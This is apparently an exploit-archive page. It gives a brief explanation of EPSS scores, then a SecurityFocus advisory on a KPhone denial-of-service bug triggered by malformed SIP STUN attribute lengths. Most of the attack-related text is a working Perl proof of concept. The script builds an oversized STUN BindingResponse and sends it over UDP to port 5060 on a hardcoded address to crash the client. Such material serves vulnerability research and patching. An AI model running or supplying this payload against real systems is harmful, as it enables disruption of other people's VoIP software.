The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/10159/info A denial of service vulnerability has been reported in KPhone. This issue may be triggered by a malformed SIP (Session Initiation Protocol) STUN message. This is due to insufficient validation of user-specified STUN packet attribute lengths, causing an out of bounds read and subsequent crash. It is not known if this condition could be further exploited to execute arbitrary code, though it has been conjectured that it is not exploitable. #!/usr/bin/perl use IO::Socket::INET; my $buf = join("", "\x01\x01", # BindingResponse "\x00\x01", # MsgLength "A"x16, # GUID "\x00\x00", # Attribute "\x08\x01", # AttrLength "A"x7975 # Value ); my $remote = IO::Socket::INET->new( Proto => 'udp', PeerAddr => '192.168.1.49', PeerPort => 5060); print $remote $buf;